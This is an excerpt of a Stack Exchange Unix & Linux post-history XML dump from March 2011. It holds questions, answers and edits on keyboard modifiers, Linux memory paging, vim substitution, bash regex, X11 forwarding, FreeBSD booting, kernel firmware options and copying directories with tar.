  <row Id="21780" PostHistoryTypeId="2" PostId="9166" RevisionGUID="1169b2cd-13db-4fa5-8323-007fe7f3fa5e" CreationDate="2011-03-12T22:22:27.783" UserId="885" Text="It looks like your system believes that you're holding down the mod2 modifier, so try pressing and releasing the corresponding key. Modifiers other than `Shift` and `Ctrl` don't have standard assignments, so I can't tell you what the corresponding key is. `xmodmap -pm` would tell you, but try pressing and releasing the &lt;kbd&gt;Alt&lt;/kbd&gt; key or the &lt;kbd&gt;Windows&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;(I'm basing this on `state 0x11`, which I think means Shift + mod2, but I'm not completely sure that's what it means. But the symptoms do look like a missed key release event.)" />
  <row Id="21782" PostHistoryTypeId="17" PostId="9169" RevisionGUID="3b21c93c-11bf-4fd0-81ed-69133e572ae4" CreationDate="2011-03-12T23:14:32.000" UserId="-1" Comment="from http://stackoverflow.com/questions/5284380/memory-management/5284441#5284441" Text="" />
  <row Id="21783" PostHistoryTypeId="2" PostId="9169" RevisionGUID="78bed7df-113d-4fde-8978-bcecc76eff8e" CreationDate="2011-03-12T18:13:41.857" UserDisplayName="dm.skt" Text="Memory management under Linux works exclusively by paging.&#xD;&#xA;&#xD;&#xA;Linux supports both &quot;small&quot; (usually 4kB) and &quot;large&quot; (2M) pages. The former &quot;just work&quot; without you knowing or doing anything special, and the latter need special treatment (have to be reserved at boot time and mapped via a special device).&#xD;&#xA;&#xD;&#xA;The only context in which &quot;segment&quot; appears under Linux is the brk() syscall which is used to increase the data segment of a process (you will not normally need this, malloc does it without you having to care). But either way, the memory comes in pages and is managed in pages, and it has nothing to do with x86 segmentation." />
  <row Id="21784" PostHistoryTypeId="2" PostId="9168" RevisionGUID="fef817c3-7344-4226-95e8-ca74a9a4fc4d" CreationDate="2011-03-12T18:05:18.507" UserDisplayName="Farnaz" Text="Is memory-management in Linux Kernel is done using paging or segmentation or both?" />
  <row Id="21785" PostHistoryTypeId="1" PostId="9168" RevisionGUID="fef817c3-7344-4226-95e8-ca74a9a4fc4d" CreationDate="2011-03-12T18:05:18.507" UserDisplayName="Farnaz" Text="memory-management" />
  <row Id="21786" PostHistoryTypeId="3" PostId="9168" RevisionGUID="fef817c3-7344-4226-95e8-ca74a9a4fc4d" CreationDate="2011-03-12T18:05:18.507" UserDisplayName="Farnaz" Text="éuntaggedà" />
  <row Id="21787" PostHistoryTypeId="17" PostId="9168" RevisionGUID="c36e2ada-9f98-4961-9f7d-24435f23beb6" CreationDate="2011-03-12T23:14:32.000" UserId="-1" Comment="from http://stackoverflow.com/questions/5284380/memory-management" Text="" />
  <row Id="21788" PostHistoryTypeId="2" PostId="9170" RevisionGUID="9e3dc894-0356-4b56-9bde-272f5968e65b" CreationDate="2011-03-12T23:18:13.717" UserId="5361" Text="I often use vim `/` search command to verify my regular expressions (just to see what it matches). After that i usually use the `:%s` replace command, where i use that regexp from search as a string to be replaced, e.g. i first look for such string:&#xD;&#xA;&#xD;&#xA;    /TP-\(\d\{5\}\)-DD-\d\{3\}&#xD;&#xA;&#xD;&#xA;It matches exactly what i want, so i do my replace:&#xD;&#xA;&#xD;&#xA;    :%s/TP-\(\d\{5\}\)-DD-\d\{3\}/\1/g&#xD;&#xA;&#xD;&#xA;But i have to write again entire regexp here. Usually that regexp is much longer, that's why I'm looking for solution:&#xD;&#xA;&#xD;&#xA;Is there any existing shortcut or vim script for pasting that search pattern directly into replace command? &#xD;&#xA;&#xD;&#xA;P.S. I use vim in terminal (no gvim).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21789" PostHistoryTypeId="1" PostId="9170" RevisionGUID="9e3dc894-0356-4b56-9bde-272f5968e65b" CreationDate="2011-03-12T23:18:13.717" UserId="5361" Text="vim: use string from search in replace command" />
  <row Id="21790" PostHistoryTypeId="3" PostId="9170" RevisionGUID="9e3dc894-0356-4b56-9bde-272f5968e65b" CreationDate="2011-03-12T23:18:13.717" UserId="5361" Text="évimà" />
  <row Id="21791" PostHistoryTypeId="25" PostId="9163" RevisionGUID="1db4638f-367a-4258-8323-dc796967349d" CreationDate="2011-03-12T23:24:39.637" Comment="http://twitter.com/#!/StackUnix/status/46713242696949760" />
  <row Id="21792" PostHistoryTypeId="5" PostId="9168" RevisionGUID="8926c01d-09f5-4310-b54c-c63f3a3bf08f" CreationDate="2011-03-12T23:32:05.190" UserId="885" Comment="title; grammar; tags" Text="Is memory management in the Linux Kernel done using paging or segmentation or both?" />
  <row Id="21793" PostHistoryTypeId="4" PostId="9168" RevisionGUID="8926c01d-09f5-4310-b54c-c63f3a3bf08f" CreationDate="2011-03-12T23:32:05.190" UserId="885" Comment="title; grammar; tags" Text="Memory management principle used by Linux" />
  <row Id="21794" PostHistoryTypeId="6" PostId="9168" RevisionGUID="8926c01d-09f5-4310-b54c-c63f3a3bf08f" CreationDate="2011-03-12T23:32:05.190" UserId="885" Comment="title; grammar; tags" Text="élinuxàémemoryàéarchitectureà" />
  <row Id="21795" PostHistoryTypeId="2" PostId="9171" RevisionGUID="72296cda-42eb-4969-9d7f-26cba31e3e75" CreationDate="2011-03-12T23:33:47.693" UserId="5325" Text="In general, an empty regular expression means to use the previously entered regular expression, so `:%s//\1/g` should do what you want." />
  <row Id="21796" PostHistoryTypeId="2" PostId="9172" RevisionGUID="d6bc67ce-2859-4e93-9c12-f375c1871e4c" CreationDate="2011-03-12T23:42:45.087" UserId="1924" Text="I need multilingual book (With Polish translation especially) about anything concerned with internet. From OSI model to newest technologies. Do you know any like this?" />
  <row Id="21797" PostHistoryTypeId="1" PostId="9172" RevisionGUID="d6bc67ce-2859-4e93-9c12-f375c1871e4c" CreationDate="2011-03-12T23:42:45.087" UserId="1924" Text="Good book for networks" />
  <row Id="21798" PostHistoryTypeId="3" PostId="9172" RevisionGUID="d6bc67ce-2859-4e93-9c12-f375c1871e4c" CreationDate="2011-03-12T23:42:45.087" UserId="1924" Text="ébooksàéinternetà" />
  <row Id="21799" PostHistoryTypeId="5" PostId="9166" RevisionGUID="12a4b442-a621-4187-a203-7e9cf250ac8a" CreationDate="2011-03-12T23:59:21.453" UserId="885" Comment="added 106 characters in body" Text="It looks like your system believes that you're holding down the mod2 modifier, so try pressing and releasing the corresponding key. Modifiers other than `Shift` and `Ctrl` don't have standard assignments, so I can't tell you what the corresponding key is. `xmodmap -pm` would tell you, but try pressing and releasing the &lt;kbd&gt;Alt&lt;/kbd&gt; key or the &lt;kbd&gt;Windows&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;(I'm basing this on `state 0x11`, which I think means Shift + mod2, but I'm not completely sure that's what it means. But the symptoms do look like a missed key release event.)&#xD;&#xA;&#xD;&#xA;**Update**: The output from `xmodmap -pm` shows that mod2 is Num Lock, so try toggling Num Lock off.&#xD;&#xA;" />
  <row Id="21800" PostHistoryTypeId="5" PostId="9157" RevisionGUID="f7216e8e-a4e4-4e28-b142-dab7f0ac2dc5" CreationDate="2011-03-13T00:49:47.140" UserId="2343" Comment="deleted 84 characters in body; deleted 6 characters in body" Text="Here is a version using *bash* with *extended regex*.  &#xD;&#xA;With this method, you can do more complex processing of individual lines. &#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^(.+\ )([0-9]\ .+)$ ]]  &#xD;&#xA;        then echo &quot;${BASH_REMATCH[1]}0${BASH_REMATCH[2]}&quot; &#xD;&#xA;        else echo &quot;$line&quot;&#xD;&#xA;        fi&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;    EOFthe&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;" />
  <row Id="21801" PostHistoryTypeId="5" PostId="9162" RevisionGUID="414ce4eb-4789-4be7-8a7b-f8fc6bf6e1c7" CreationDate="2011-03-13T00:56:29.230" UserId="73" Comment="added 679 characters in body" Text="I have somehow managed to get my keyboard only to work and be able to select with the mouse cursor, only when the &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;Control&lt;/kbd&gt; keys are held.&#xD;&#xA;How can I undo this?&#xD;&#xA;I have tried System -&gt; Preferences -&gt; Keyboard but nothing appears there to resolve this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;&#xD;&#xA;I can only enter text or select anything (even opening a new tab in web browser), only if the shift and control keys are held. once the selection is &quot;active&quot; then I can type normally, until the next time I need to type, etc..&#xD;&#xA;Below as recommended:&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 36, synthetic NO, window 0x5a00001,&#xD;&#xA;    root 0x1ad, subw 0x0, time 2238759, (-435,502), root:(312,552),&#xD;&#xA;    state 0x11, keycode 38 (keysym 0x41, A), same_screen YES,&#xD;&#xA;    XLookupString gives 1 bytes: (41) &quot;A&quot;&#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;&#xD;&#xA;Pressing (and holding) the &lt;kbd&gt;Alt&lt;/kbd&gt; or &lt;kbd&gt;Windows&lt;/kbd&gt; key has a similar action as to holding the &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;Control&lt;/kbd&gt; keys (&lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;Control&lt;/kbd&gt; are held simultaneously).&#xD;&#xA;&#xD;&#xA;    shift       Shift_L (0x32),  Shift_R (0x3e)&#xD;&#xA;    lock        Caps_Lock (0x42)&#xD;&#xA;    control     Control_L (0x25),  Control_R (0x69)&#xD;&#xA;    mod1        Alt_L (0x40),  Alt_R (0x6c),  Meta_L (0xcd)&#xD;&#xA;    mod2        Num_Lock (0x4d)&#xD;&#xA;    mod3      &#xD;&#xA;    mod4        Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)&#xD;&#xA;    mod5        ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21803" PostHistoryTypeId="2" PostId="9173" RevisionGUID="f512c97e-094d-481e-a635-d0a26a4137b4" CreationDate="2011-03-13T01:16:38.483" UserId="5684" Text="He he... You guys are funny . . It s very simple. It will work in 320p when the screen is maximised. Change it from 480p to 320p which is near the volume control when the screen is maximised. All the best watching Youtube!!&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Aravindh :)&#xD;&#xA;" />
  <row Id="21804" PostHistoryTypeId="2" PostId="9174" RevisionGUID="832cdb0d-9da2-4539-9ec7-945678fbd69f" CreationDate="2011-03-13T01:36:27.893" UserId="4821" Text="This really is more appropriate as a comment to @keith but I wanted to elaborate a little:&#xD;&#xA;&#xD;&#xA;His answer solved it perfectly with a simple -X when connecting but I took it that one step further by adding to my `.ssh/config` file:&#xD;&#xA;&#xD;&#xA;    Host mydevserver.example.com&#xD;&#xA;    ForwardX11 yes&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Additionally, I was tempted to investigate repeating this for a headless development server that's located off-site that I'm regularly working on.&#xD;&#xA;&#xD;&#xA;1. I installed the most basic X11 components with yum: yum group install 'X11 Desktop Environment'&#xD;&#xA;2. Created an alias in my zsh aliases file to start X on demand (performance still matters on a dev machine!)  &#xD;&#xA;`alias initFakeDisplay=startx -- /usr/bin/Xvfb :2 -screen 0 1024x768x24 &amp;`&#xD;&#xA;&#xD;&#xA;Then in future, I can connect with X11 forwarding enabled and use the same tmux+vim technique to run a vim clientserver" />
  <row Id="21805" PostHistoryTypeId="5" PostId="6923" RevisionGUID="376d2f04-b22b-494e-a5ef-05b25ad20d21" CreationDate="2011-03-13T01:39:59.773" UserId="4478" Comment="formatting" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,2), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;I've tried using both the *amd64 disc1* iso image and the *i386 disc1* image for FreeBSD 8.1&#xD;&#xA;&#xD;&#xA;**Further Boot Info**&#xD;&#xA;&#xD;&#xA;When booting, Mac's EFI allows me to choose to boot from the CD. The screen goes black, then the following appears:&#xD;&#xA;&#xD;&#xA;    CD Loader 1.2&#xD;&#xA;    Building the boot loader arguments&#xD;&#xA;    Looking up /BOOT/LOADER ... Found&#xD;&#xA;    Relocating the loader and the BTX&#xD;&#xA;    Starting the BTX Loader&#xD;&#xA;    &#xD;&#xA;    BTX Loader 1.00 BTX version is 1.0.2&#xD;&#xA;    Consoles: internal video/keyboard&#xD;&#xA;    BIOS CD is cd0&#xD;&#xA;    BIOS drive C: is disk0&#xD;&#xA;    BIOS 639kB/1047552kB available memory&#xD;&#xA;    &#xD;&#xA;    Loading /boot/defaults/loader.conf&#xD;&#xA;    /boot/kernel/kernel text=0x8d5503 data=0x129bf8+039f8 syms=[0x8 + 0xddbf8 + 0x8 + 0xca37e]&#xD;&#xA;&#xD;&#xA;It then continues to the [FreeBSD Boot Loader Screen][1], and freezes&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Having tried both the *amd64* and the *i386* versions of FreeBSD 8.**1**, I've tried using the *i386* version of FreeBSD 8.**2**.&#xD;&#xA;&#xD;&#xA;It acts exactly the same as previous attempts, except that instead of freezing at the FreeBSD Boot Loader Screen (linked above), it prints some information to the screen as follows (below the boot loader screen, as it doesn't clear it first):&#xD;&#xA;&#xD;&#xA;    Copyright (c) 1992-2011 The FreeBSD Project&#xD;&#xA;    Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994&#xD;&#xA;    	The Regents of the University of California. All rights reserved.&#xD;&#xA;    FreeBSD is a registered trademark of the FreeBSD Foundation.&#xD;&#xA;    FreeBSD 8.2-RELEASE#0: Fri Feb 18 02:24:46 UTC 2011&#xD;&#xA;    	root@almeida.cse.buffalo.edu.au:/usr/obj/usr/src/GENERIC i386&#xD;&#xA;    Timecounter &quot;i8254&quot; frequency 1193182 Hz quality 0&#xD;&#xA;    CPU: Intel(R) Core(™)2 Duo CPU	P7350 @ 2.00GHz (1990.43-MHz 686-class CPU)&#xD;&#xA;    &#xD;&#xA;    	Origin = &quot;GenuineIntel&quot; Id = 0x1067a Family = 6 Model = 17 Stepping = 10&#xD;&#xA;    	Features=0xbfebfbff&lt;FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CLFLUSH,DTS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,™,PBE&gt;&#xD;&#xA;    	Features2=0x408e3bd&lt;SSE3,DTES64,MON,DS_CPL,VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,SSE4.1,XSAVE&gt;&#xD;&#xA;    	AMD Features=0x20100000&lt;NX,LM&gt;&#xD;&#xA;    	AMD Features2=0x1&lt;LAHF&gt;&#xD;&#xA;    	TSC: P-state invariant&#xD;&#xA;    real memory = 2147483648 (2048 MB)&#xD;&#xA;    avail memory = 1789763584 (1706 MB)&#xD;&#xA;    ACPI APIC Table: &lt;APPLE Apple00&gt;&#xD;&#xA;    AP #1 (PHY# 1) failed!&#xD;&#xA;    panic y/n? [y]&#xD;&#xA;&#xD;&#xA;Then it freezes, I cannot even enter y/n.&#xD;&#xA;&#xD;&#xA;Again, thanks for any help.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="21806" PostHistoryTypeId="25" PostId="9170" RevisionGUID="7fb98c16-304e-4393-a522-d084caa054c3" CreationDate="2011-03-13T02:24:40.243" Comment="http://twitter.com/#!/StackUnix/status/46758542702690304" />
  <row Id="21807" PostHistoryTypeId="10" PostId="9172" RevisionGUID="7661e6f0-3e9e-4e35-8d5c-e94bb276a9a4" CreationDate="2011-03-13T02:37:01.653" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:2511,&quot;DisplayName&quot;:&quot;mattdm&quot;}]" />
  <row Id="21808" PostHistoryTypeId="2" PostId="9175" RevisionGUID="eaa3e10a-a0f6-4fcb-a8b8-bd4bae12e628" CreationDate="2011-03-13T03:57:32.443" UserId="663" Text="Which version of openSUSE is closest to SLES11SP1 in terms of package versions? " />
  <row Id="21809" PostHistoryTypeId="1" PostId="9175" RevisionGUID="eaa3e10a-a0f6-4fcb-a8b8-bd4bae12e628" CreationDate="2011-03-13T03:57:32.443" UserId="663" Text="Which version of openSUSE is closest to SLES11SP1" />
  <row Id="21810" PostHistoryTypeId="3" PostId="9175" RevisionGUID="eaa3e10a-a0f6-4fcb-a8b8-bd4bae12e628" CreationDate="2011-03-13T03:57:32.443" UserId="663" Text="éopensuseàésuseà" />
  <row Id="21811" PostHistoryTypeId="2" PostId="9176" RevisionGUID="05651323-10ff-4055-8f6e-ca4655cf06ac" CreationDate="2011-03-13T04:34:56.283" UserId="5075" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am using Gentoo, and I need to load an extra firmware to get my USB Wifi adapter work. I found and EXTRA_FIRMWARE_DIR kernel option, but I do not understand if it is used during compile time only or it is effective after the new kernel is used? My WiFi adapter chip is Atheros, and according to [this page](http://wireless.kernel.org/en/users/Drivers/ar9170), I have to put the firmware to the **right place**. On Ubuntu, I found the /lib/firmware directory as it is indicated in that page, but I cannot find that directory on Gentoo." />
  <row Id="21812" PostHistoryTypeId="1" PostId="9176" RevisionGUID="05651323-10ff-4055-8f6e-ca4655cf06ac" CreationDate="2011-03-13T04:34:56.283" UserId="5075" Text="how to use the EXTRA_FIRMWARE_DIR kernel option?" />
  <row Id="21813" PostHistoryTypeId="3" PostId="9176" RevisionGUID="05651323-10ff-4055-8f6e-ca4655cf06ac" CreationDate="2011-03-13T04:34:56.283" UserId="5075" Text="ékernelàégentooàéfirmwareà" />
  <row Id="21814" PostHistoryTypeId="2" PostId="9177" RevisionGUID="cfac28fe-7b6e-45b6-9ed5-423c0434abd3" CreationDate="2011-03-13T05:09:36.830" UserId="5447" Text="Take a look at this: http://www.kernel.org/doc/menuconfig/drivers-base-Kconfig.html&#xD;&#xA;&#xD;&#xA;In particular:&#xD;&#xA;&#xD;&#xA;* EXTRA_FIRMWARE &quot;allows firmware to be built into the kernel, for the&#xD;&#xA;cases where the user either cannot or doesn't want to provide it from&#xD;&#xA;userspace at runtime&quot;&#xD;&#xA;&#xD;&#xA;* EXTRA_FIRMWARE_DIR &quot;controls the directory in which the kernel build system&#xD;&#xA;looks for the firmware files listed in the EXTRA_FIRMWARE option.&#xD;&#xA;The default is the firmware/ directory in the kernel source tree,&#xD;&#xA;but by changing this option you can point it elsewhere, such as&#xD;&#xA;the /lib/firmware/ directory or another separate directory&#xD;&#xA;containing firmware files&quot;.&#xD;&#xA;&#xD;&#xA;By the way, as far as getting your wireless card working, have you taken a look at these pages?:&#xD;&#xA;&#xD;&#xA;* http://en.gentoo-wiki.com/wiki/TL-WN821N&#xD;&#xA;&#xD;&#xA;* http://bugs.gentoo.org/278385" />
  <row Id="21815" PostHistoryTypeId="25" PostId="9176" RevisionGUID="df4673c2-bc82-4b36-bd47-74a45d0e00cb" CreationDate="2011-03-13T05:24:39.640" Comment="http://twitter.com/#!/StackUnix/status/46803839600427008" />
  <row Id="21816" PostHistoryTypeId="5" PostId="9176" RevisionGUID="8bf50b15-159a-468d-be65-abe07deb0df8" CreationDate="2011-03-13T06:41:38.013" UserId="73" Comment="deleted 1 characters in body; edited title" Text="I am using Gentoo, and I need to load an extra firmware to get my USB Wifi adapter work. I found an `EXTRA_FIRMWARE_DIR` kernel option, but I do not understand if it is used during compile time only or if it is effective after the new kernel is used. My WiFi adapter chip is Atheros, and according to [this page](http://wireless.kernel.org/en/users/Drivers/ar9170), I have to put the firmware to the **right place**. On Ubuntu, I found the `/lib/firmware` directory as it is indicated in that page, but I cannot find that directory on Gentoo." />
  <row Id="21817" PostHistoryTypeId="4" PostId="9176" RevisionGUID="8bf50b15-159a-468d-be65-abe07deb0df8" CreationDate="2011-03-13T06:41:38.013" UserId="73" Comment="deleted 1 characters in body; edited title" Text="How to use the EXTRA_FIRMWARE_DIR kernel option?" />
  <row Id="21818" PostHistoryTypeId="2" PostId="9178" RevisionGUID="d626807a-e022-4094-b0a6-0086e3930051" CreationDate="2011-03-13T07:03:29.357" UserId="4820" Text="chrome font on Ubuntu is strange and ugly. &#xD;&#xA;It's hard to read code.&#xD;&#xA;&#xD;&#xA;how can I fix it?" />
  <row Id="21819" PostHistoryTypeId="1" PostId="9178" RevisionGUID="d626807a-e022-4094-b0a6-0086e3930051" CreationDate="2011-03-13T07:03:29.357" UserId="4820" Text="font issue, chrome on ubuntu" />
  <row Id="21820" PostHistoryTypeId="3" PostId="9178" RevisionGUID="d626807a-e022-4094-b0a6-0086e3930051" CreationDate="2011-03-13T07:03:29.357" UserId="4820" Text="éubuntuà" />
  <row Id="21821" PostHistoryTypeId="5" PostId="9178" RevisionGUID="e55f75c5-4e73-4d97-b991-07a5f3c3bbee" CreationDate="2011-03-13T07:07:13.593" UserId="73" Comment="deleted 13 characters in body; edited title" Text="The chrome font on Ubuntu makes it hard to read code. How can I change it?&#xD;&#xA;" />
  <row Id="21822" PostHistoryTypeId="4" PostId="9178" RevisionGUID="e55f75c5-4e73-4d97-b991-07a5f3c3bbee" CreationDate="2011-03-13T07:07:13.593" UserId="73" Comment="deleted 13 characters in body; edited title" Text="Font issue, chrome on ubuntu" />
  <row Id="21823" PostHistoryTypeId="2" PostId="9179" RevisionGUID="672db488-e026-4325-b61f-f879ff93f5bf" CreationDate="2011-03-13T07:27:56.357" UserId="2567" Text="Hi &#xD;&#xA;&#xD;&#xA;&gt; I am made to do work on Java and Windows.&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;Good news, it sounds like you are writing/working with code at least.&#xD;&#xA;&#xD;&#xA;If I was in your shoes I think I would take a pragmatic approach, &#xD;&#xA;and learn how to port that Java app to Linux (when the boss is not looking).&#xD;&#xA;&#xD;&#xA;It's a good exercise to make a application portable.&#xD;&#xA;&#xD;&#xA;&gt; I am uncomfortable with Java&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;Don't be, in the Linux world you use the best language for the task. &#xD;&#xA;(Best free language at least).&#xD;&#xA;&#xD;&#xA;Therefore you need to make sure that you are comfortable with Java, C++/Qt, C, python, php, perl, etc etc &#xD;&#xA;&#xD;&#xA;" />
  <row Id="21824" PostHistoryTypeId="5" PostId="9157" RevisionGUID="53c2218c-9bc7-45cd-81c6-87da0f2b3c3c" CreationDate="2011-03-13T07:39:20.340" UserId="2343" Comment="added 56 characters in body; deleted 3 characters in body; deleted 3 characters in body" Text="Here is a (non-sed) way to use *bash* with *extended regex*..   &#xD;&#xA;This method, allows scope to do more complex processing of individual lines. (ie. more than just regex substitutions) &#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^(.+\ )([0-9]\ .+)$ ]]  &#xD;&#xA;        then echo &quot;${BASH_REMATCH[1]}0${BASH_REMATCH[2]}&quot; &#xD;&#xA;        else echo &quot;$line&quot;&#xD;&#xA;        fi&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;" />
  <row Id="21825" PostHistoryTypeId="2" PostId="9180" RevisionGUID="11771302-d062-4b7c-824d-9b9e86e7fdff" CreationDate="2011-03-13T07:57:45.780" UserId="5669" Text="for spot usages I've found **Deluge** very good.&#xD;&#xA;If you plan to have a remote machine I'll suggest **azureus (vuze)** with the http remote interface. Very simple, intuitive, stable and gets the jobs done." />
  <row Id="21826" PostHistoryTypeId="2" PostId="9181" RevisionGUID="2421367c-5dde-4d77-aab2-d889819e3c98" CreationDate="2011-03-13T08:11:25.997" UserId="5669" Text="Oracle Linux has the same close update repositories as Red Hat.  &#xD;&#xA;I have two kind of servers, mission critical and not. I usually use the least critical servers to try out the new features to be ready when I need to create a new mission critical machine (usually with a RH license), this is the main reason for wich I usually try out the latest RH clone available.  &#xD;&#xA;They usually aren't on the frontline." />
  <row Id="21827" PostHistoryTypeId="25" PostId="9178" RevisionGUID="95ebb543-1b52-49eb-af25-7cf25528afb8" CreationDate="2011-03-13T08:24:39.657" Comment="http://twitter.com/#!/StackUnix/status/46849138276569088" />
  <row Id="21828" PostHistoryTypeId="2" PostId="9182" RevisionGUID="58240da4-0877-4c7a-b692-3ca2c4545537" CreationDate="2011-03-13T08:55:34.390" UserId="5171" Text="Hi!&#xD;&#xA;&#xD;&#xA;i'm trying to copy a directory to external HDD- i mounted the device and then typed : cd root tar -cf - * | (cd /mnt ; tar -xpf -)&#xD;&#xA;&#xD;&#xA;i got this error message: &quot;cowardly refusing to create an empty archive&quot;&#xD;&#xA;&#xD;&#xA;when i do ls to the same root directory- it is not empty at all- there are all my needed files.&#xD;&#xA;&#xD;&#xA;why does it happen??&#xD;&#xA;" />
  <row Id="21829" PostHistoryTypeId="1" PostId="9182" RevisionGUID="58240da4-0877-4c7a-b692-3ca2c4545537" CreationDate="2011-03-13T08:55:34.390" UserId="5171" Text="Copy a directory to external HDD" />
  <row Id="21830" PostHistoryTypeId="3" PostId="9182" RevisionGUID="58240da4-0877-4c7a-b692-3ca2c4545537" CreationDate="2011-03-13T08:55:34.390" UserId="5171" Text="éubuntuà" />
  <row Id="21831" PostHistoryTypeId="5" PostId="9057" RevisionGUID="05fede3e-4d9b-4bff-8a30-545ffe3fac86" CreationDate="2011-03-13T10:22:54.047" UserId="4671" Comment="hard -&gt; high" Text="This has been suggested numerous times before in this context, but... I'd suggest getting some experience in a free software project. This looks good on your resume, is valuable experience working with good people, and is useful for contacts. People regularly get jobs through free software projects. My impression (which may be incorrect) is also that it is not common for Indians to involve themselves in free software projects, and if true, that would help you stand out. &#xD;&#xA;&#xD;&#xA;You say you are interested in Python. There are lots of free software projects involving Python, with various levels of barrier to entry. One that I am familar with is Mercurial, where the barrier to entry is not too high, the community is friendly, the programmers are talented, and there are opportunities for participation. And everybody uses version control. You could pick up some small bite-sized bug and/or wishlist feature and work on it. &#xD;&#xA;&#xD;&#xA;Other projects off the top of my head are Django, Pylons, Sqlalchemy, though I think Mercurial is as good or better than any of these from the POV of opportunity for participation. Another possibility is Linux community distribution work, eg. with Debian, which will also give you the opportunity of working with talented people. Also good for making contacts etc. Also, if you are interested in C++, the apt and aptitude projects in Debian are important and severely undermanned. In general, most free software projects don't have enough manpower, particularly the smaller ones, and are eager for assistance. HTH." />
  <row Id="21832" PostHistoryTypeId="2" PostId="9183" RevisionGUID="8abfa9ac-4350-4af5-b5a7-3641bad333f1" CreationDate="2011-03-13T11:18:05.543" UserId="2671" Text="Why don't you simply use `cp -pr source distance`?&#xD;&#xA;&#xD;&#xA;Anyway:&#xD;&#xA;&#xD;&#xA;    cd ~/tmp/source/;tar -cpf - * | (cd ~/tmp/destination;tar -xpf -)&#xD;&#xA;&#xD;&#xA;works just fine.&#xD;&#xA;" />
  <row Id="21833" PostHistoryTypeId="25" PostId="9182" RevisionGUID="b6e6abb9-4c70-437a-a2b1-92840d5f532e" CreationDate="2011-03-13T11:24:39.720" Comment="http://twitter.com/#!/StackUnix/status/46894437179195392" />
  <row Id="21834" PostHistoryTypeId="6" PostId="9182" RevisionGUID="3e16e582-d921-4040-add2-2bb60c20b465" CreationDate="2011-03-13T11:31:57.987" UserId="885" Comment="edited tags" Text="éshellàéubuntuàétarà" />
